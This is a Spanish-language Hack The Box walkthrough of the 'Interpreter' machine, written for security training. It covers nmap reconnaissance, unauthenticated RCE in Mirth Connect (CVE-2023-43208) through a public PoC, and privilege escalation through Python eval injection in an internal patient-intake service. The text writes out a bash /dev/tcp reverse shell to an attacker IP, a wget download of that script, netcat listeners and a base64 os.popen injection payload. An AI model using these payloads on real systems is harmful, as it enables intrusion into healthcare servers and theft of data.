Descripción

Interpreter es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Ejecución remota de comandos en Mirth Connect
  • Enumeración de la base de datos de Mirth Connect para encontrar canales disponibles
  • Enumeración de puertos internos abiertos para encontrar un canal de Mirth Connect y una aplicación Python Django
  • Escalada de Privilegios mediante inyección de comandos en una aplicación interna de Python

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.2.28.

$ ping -c 3 10.129.2.28
PING 10.129.2.28 (10.129.2.28) 56(84) bytes of data.
64 bytes from 10.129.2.28: icmp_seq=1 ttl=63 time=45.1 ms
64 bytes from 10.129.2.28: icmp_seq=2 ttl=63 time=46.2 ms
64 bytes from 10.129.2.28: icmp_seq=3 ttl=63 time=44.5 ms

--- 10.129.2.28 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 44.510/45.282/46.232/0.714 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto) podemos asegurarnos que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN de Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.2.28 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.2.28
Host is up (0.048s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 1.53 seconds

Obtenemos tres puertos abiertos: 22, 80 y 443.

Enumeración

Ahora realizamos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.129.2.28 -sV -sC -p22,80,443 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.2.28
Host is up (0.045s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp  open  http     Jetty
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open  ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
|_http-title: Mirth Connect Administrator
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.36 seconds

Obtenemos tres servicios: uno Secure Shell (SSH), y dos Hypertext Transfer Protocol (HTTP) (uno seguro). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Cuando abrimos el servicio web encontramos el servicio Mirth Connect Administrator en ambos puertos 80 y 443. Mirth Connect es un motor de plataforma cruzada para HL7 que permite el envío bidireccional de mensajes HL7 entre sistemas y aplicaciones a través de múltiples formatos disponibles.

Explotación

NextGen Healthcare Mirth Connect antes de la versión 4.4.1 es vulnerable a la ejecución de código remoto no autenticado, CVE-2023-43208. Tenemos disponible un concepto de prueba de la vulnerabilidad desarrollado por jakabakos en GitHub. Vamos a crear un script Bash malicioso que desplegará una terminal inversa y luego lo alojaremos usando un servidor HTTP con Python.

$ mkdir server
$ cd server
$ echo 'bash -i >& /dev/tcp/10.10.14.180/1234 0>&1' > shell.sh
$ python -m http.server 80

Entonces utilizamos la PoC para descargar los scripts, le damos los permisos adecuados y finalmente desplegamos la terminal inversa. Deberíamos comenzar primero un puerto TCP escuchando con el comando nc -nvlp 1234.

$ git clone https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc
$ cd CVE-2023-43208-mirth-connect-rce-poc
$ python CVE-2023-43208.py -u https://10.129.2.28/ -c "wget -O /tmp/shell.sh http://10.10.14.180/shell.sh"
$ python CVE-2023-43208.py -u https://10.129.2.28/ -c "chmod +x /tmp/shell.sh"
$ python CVE-2023-43208.py -u https://10.129.2.28/ -c "bash /tmp/shell.sh"

Recibimos la terminal inversa como el usuario mirth, la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.180] from (UNKNOWN) [10.129.2.28] 52840
bash: cannot set terminal process group (3452): Inappropriate ioctl for device
bash: no job control in this shell
mirth@interpreter:/usr/local/mirthconnect$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
mirth@interpreter:/usr/local/mirthconnect$ ^Z
$ stty raw -echo; fg
$ reset xterm
mirth@interpreter:/usr/local/mirthconnect$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos dos usuarios de consola en el sistema: sedric y root.

mirth@interpreter:/usr/local/mirthconnect$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
sedric:x:1000:1000:sedric,,,:/home/sedric:/bin/bash

Encontramos que el usuario root está ejecutando un script Python encontrado en el archivo /usr/local/bin/notif.py. No tenemos permisos para leerlo.

mirth@interpreter:/usr/local/mirthconnect$ ps -ef | grep root
...
root        3453       1  0 ?        00:00:01 /usr/bin/python3 /usr/local/bin/notif.py
mirth@interpreter:/usr/local/mirthconnect$ ls -l /usr/local/bin/notif.py
-rwxr----- 1 root sedric 2332 Sep 19 09:27 /usr/local/bin/notif.py

Encontramos aplicaciones de red en ejecución internas: en el puerto 6661 (pertenece a Mirth Connect), en 3306 (pertenece a la base de datos MySQL) y 54321 (desconocido).

mirth@interpreter:/usr/local/mirthconnect$ ss -tulnp
Netid       State        Recv-Q       Send-Q              Local Address:Port                Peer Address:Port       Process                                 
udp         UNCONN       0            0                         0.0.0.0:68                       0.0.0.0:*                                                  
tcp         LISTEN       0            50                        0.0.0.0:443                      0.0.0.0:*           users:(("java",pid=3452,fd=331))       
tcp         LISTEN       0            128                       0.0.0.0:22                       0.0.0.0:*                                                  
tcp         LISTEN       0            50                        0.0.0.0:80                       0.0.0.0:*           users:(("java",pid=3452,fd=327))       
tcp         LISTEN       0            256                       0.0.0.0:6661                     0.0.0.0:*           users:(("java",pid=3452,fd=335))       
tcp         LISTEN       0            80                      127.0.0.1:3306                     0.0.0.0:*                                                  
tcp         LISTEN       0            128                     127.0.0.1:54321                    0.0.0.0:*                                                  
tcp         LISTEN       0            128                          [::]:22                          [::]:*

Vamos a enumerar la aplicación en el puerto 54321. Encontramos que es un servidor HTTP.

mirth@interpreter:/usr/local/mirthconnect$ nc -nv 127.0.0.1 54321
(UNKNOWN) [127.0.0.1] 54321 (?) open
hi
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 400</p>
        <p>Message: Bad request syntax ('hi').</p>
        <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
    </body>
</html>

Realizando un reconocimiento a la respuesta podemos confirmar que el servicio web en ejecución en el puerto 54321 es una aplicación Python Django. Encontramos las credenciales de la base de datos MySQL en el archivo /usr/local/mirthconnect/conf/mirth.properties. Con el nombre de usuario mirthdb, la contraseña MirthPass123! y la base de datos mc_bdd_prod. Enumeramos.

mirth@interpreter:/usr/local/mirthconnect$ mysql -h 127.0.0.1 -u mirthdb  -p'MirthPass123!' -D mc_bdd_prod
MariaDB [mc_bdd_prod]> show tables;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT                 |
| CHANNEL               |
| CHANNEL_GROUP         |
| CODE_TEMPLATE         |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION         |
| DEBUGGER_USAGE        |
| D_CHANNELS            |
| D_M1                  |
| D_MA1                 |
| D_MC1                 |
| D_MCM1                |
| D_MM1                 |
| D_MS1                 |
| D_MSQ1                |
| EVENT                 |
| PERSON                |
| PERSON_PASSWORD       |
| PERSON_PREFERENCE     |
| SCHEMA_INFO           |
| SCRIPT                |
+-----------------------+
21 rows in set (0.000 sec)

Encontramos una tabla llamada CHANNEL. En Mirth Connect, un canal es una entidad de configuración que define cómo fluye los datos entre sistemas, incluyendo entrada, transformación y salida. Está compuesto por conectores de origen y destino, junto con cualquier transformación o filtro de mensaje. Tenemos un canal registrado: INTERPRETER - HL7 TO XML TO NOTIFY

MariaDB [mc_bdd_prod]> select * from CHANNEL;
...
| 24c915f9-d3e3-462a-a126-3511d3f3cd0a | INTERPRETER - HL7 TO XML TO NOTIFY |        5 | <channel version="4.4.0">
  <id>24c915f9-d3e3-462a-a126-3511d3f3cd0a</id>
  <nextMetaDataId>2</nextMetaDataId>
  <name>INTERPRETER - HL7 TO XML TO NOTIFY</name>
  <description></description>
  <revision>5</revision>
  <sourceConnector version="4.4.0">
    <metaDataId>0</metaDataId>
    <name>sourceConnector</name>
    <properties class="com.mirth.connect.connectors.tcp.TcpReceiverProperties" version="4.4.0">
      <pluginProperties/>
      <listenerConnectorProperties version="4.4.0">
        <host>0.0.0.0</host>
        <port>6661</port>
      </listenerConnectorProperties>
...
      <inboundTemplate encoding="base64">TVNIfF5+XFwmfFdFQkFQUHxJTlRFUlBSRVRFUnxNSVJUSHxJTlRFUlBSRVRFUnxUSU1FU1RBTVB8fEFEVF5BMDF8fFB8Mi41ClBJRHwxfHxQQVRJRU5USUReXl5JTlRFUlBSRVRFUnx8TEFTVE5BTUVeRklSU1ROQU1FfHxEQVRFT0ZCSVJUSHxHRU5ERVI=</inboundTemplate>
      <outboundTemplate encoding="base64">PHBhdGllbnQ+CiAgPHRpbWVzdGFtcD48L3RpbWVzdGFtcD4KICA8c2VuZGVyX2FwcD48L3NlbmRlcl9hcHA+CiAgPGlkPjwvaWQ+CiAgPGZpcnN0bmFtZT48L2ZpcnN0bmFtZT4KICA8bGFzdG5hbWU+PC9sYXN0bmFtZT4KICA8YmlydGhfZGF0ZT48L2JpcnRoX2RhdGU+CiAgPGdlbmRlcj48L2dlbmRlcj4KPC9wYXRpZW50Pg==</outboundTemplate>
...
  <destinationConnectors>
    <connector version="4.4.0">
      <metaDataId>1</metaDataId>
      <name>Destination 1</name>
      <properties class="com.mirth.connect.connectors.http.HttpDispatcherProperties" version="4.4.0">
        <pluginProperties/>
        <destinationConnectorProperties version="4.4.0">
          <queueEnabled>false</queueEnabled>
...
        </destinationConnectorProperties>
        <host>http://127.0.0.1:54321/addPatient</host>
        <useProxyServer>false</useProxyServer>
        <proxyAddress></proxyAddress>

Este canal de Mirth Connect escucha mensajes HL7 en el puerto TCP 6661, luego transforma los datos en formato XML utilizando plantillas codificadas en Base64. Después de la transformación, envía los datos procesados a un punto final HTTP en http://127.0.0.1:54321/addPatient, que es la aplicación Python que vimos anteriormente. Podemos decodificar la plantilla XML contenida en outboundTemplate:

<patient>
  <timestamp></timestamp>
  <sender_app></sender_app>
  <id></id>
  <firstname></firstname>
  <lastname></lastname>
  <birth_date></birth_date>
  <gender></gender>
</patient>

Parece que si enviamos un XML relleno al servicio 54321 obtendremos una salida. Intentémoslo. Necesitamos especificar que este contenido es XML en la cabecera Content-Type.

mirth@interpreter:/usr/local/mirthconnect$ wget -q -O- --header='Content-Type: application/xml' --method=POST --body-data='<patient><timestamp>12345</timestamp><sender_app>application</sender_app><id>12345</id><firstname>Name</firstname><lastname>Lastname</lastname><birth_date>01/01/2020</birth_date><gender>M</gender></patient>' http://127.0.0.1:54321/addPatient; echo -e "\n"
Patient Name Lastname (M), 6 years old, received from application at 12345

Recibimos el texto Patient Name Lastname (M), 6 years old, received from application at 12345, por lo tanto parece que la aplicación está imprimiendo los valores que enviamos en la carga útil XML. Intentemos comprobar la inyección de plantilla en el lado del servidor en Django cambiando la entidad name por {{request}}.

mirth@interpreter:/usr/local/mirthconnect$ wget -q -O- --header='Content-Type: application/xml' --method=POST --body-data='<patient><timestamp>12345</timestamp><sender_app>application</sender_app><id>12345</id><firstname>{{request}}</firstname><lastname>Lastname</lastname><birth_date>01/01/2020</birth_date><gender>M</gender></patient>' http://127.0.0.1:54321/addPatient; echo -e "\n"
Patient {request} Lastname (M), 6 years old, received from application at 12345

La aplicación está eliminando uno de los caracteres { y }. Vamos a introducir un valor inválido, como {{request}.

mirth@interpreter:/usr/local/mirthconnect$ wget -q -O- --header='Content-Type: application/xml' --method=POST --body-data='<patient><timestamp>12345</timestamp><sender_app>application</sender_app><id>12345</id><firstname>{{request}</firstname><lastname>Lastname</lastname><birth_date>01/01/2020</birth_date><gender>M</gender></patient>' http://127.0.0.1:54321/addPatient; echo -e "\n"
[EVAL_ERROR] f-string: single '}' is not allowed (<string>, line 1)

Recibimos un EVAL_ERROR que indica que la cadena se está pasando a la función Python eval, que podemos usarlo para obtener la ejecución de código remoto. Como está eliminando uno de los caracteres {, vamos a pasar el código entre los símbolos { y }. En este caso vamos a imprimir el tipo de la clase de la cadena con el código type("test").

mirth@interpreter:/usr/local/mirthconnect$ wget -q -O- --header='Content-Type: application/xml' --method=POST --body-data='<patient><timestamp>12345</timestamp><sender_app>application</sender_app><id>12345</id><firstname>{type("test")}</firstname><lastname>Lastname</lastname><birth_date>01/01/2020</birth_date><gender>M</gender></patient>' http://127.0.0.1:54321/addPatient; echo -e "\n"
Patient <class 'str'> Lastname (M), 6 years old, received from application at 12345

Confirmamos la ejecución del código ya que recibimos el tipo str. Podemos obtener esta ejecución de código para obtener la ejecución de comandos remotos y desplegar una terminal como el usuario que está ejecutando el programa, probablemente root.

Después de varios intentos y comprobando que no podemos usar espacios en el código, encontramos una carga útil que ejecutará comandos en la máquina usando codificación Base64 y la función Python os.Popen{__import__("os").popen(__import__("base64").b64decode("<BASE64_STRING>").decode()).read()}.

Vamos a usarlo para desplegar una terminal después de abrir un puerto TCP escuchando en el puerto 1235. Reutilizamos el script anterior shell.sh pero cambiaremos el puerto 1234 al 1235 para ejecutar el comando bash /tmp/shell.sh.

mirth@interpreter:/usr/local/mirthconnect$ wget -q -O- --header='Content-Type: application/xml' --method=POST --body-data='<patient><timestamp>12345</timestamp><sender_app>application</sender_app><id>12345</id><firstname>{__import__("os").popen(__import__("base64").b64decode("YmFzaCAvdG1wL3NoZWxsLnNo").decode()).read()}</firstname><lastname>Lastname</lastname><birth_date>01/01/2020</birth_date><gender>M</gender></patient>' http://127.0.0.1:54321/addPatient; echo -e "\n"

Recibimos la terminal inversa como el usuario root.

$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.180] from (UNKNOWN) [10.129.2.28] 40454
bash: cannot set terminal process group (3453): Inappropriate ioctl for device
bash: no job control in this shell
root@interpreter:/usr/local/bin# id
id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la terminal de root podemos recuperar las banderas user.txt y root.txt.

root@interpreter:/usr/local/bin# cat /home/sedric/user.txt
cat /home/sedric/user.txt
<REDACTED>
root@interpreter:/usr/local/bin# cat /root/root.txt
cat /root/root.txt
<REDACTED>